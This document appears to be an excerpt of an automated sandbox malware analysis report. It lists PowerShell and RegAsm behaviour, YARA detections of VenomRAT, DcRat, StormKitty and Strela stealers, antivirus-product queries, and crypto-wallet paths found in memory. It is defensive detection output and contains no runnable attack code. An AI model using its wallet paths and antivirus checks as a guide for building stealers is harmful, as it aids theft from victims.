Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E9B14A8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6E9B14A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegAsm.exe, 0000001A.00000002.4665308252.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 0000001A.00000002.4668820759.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

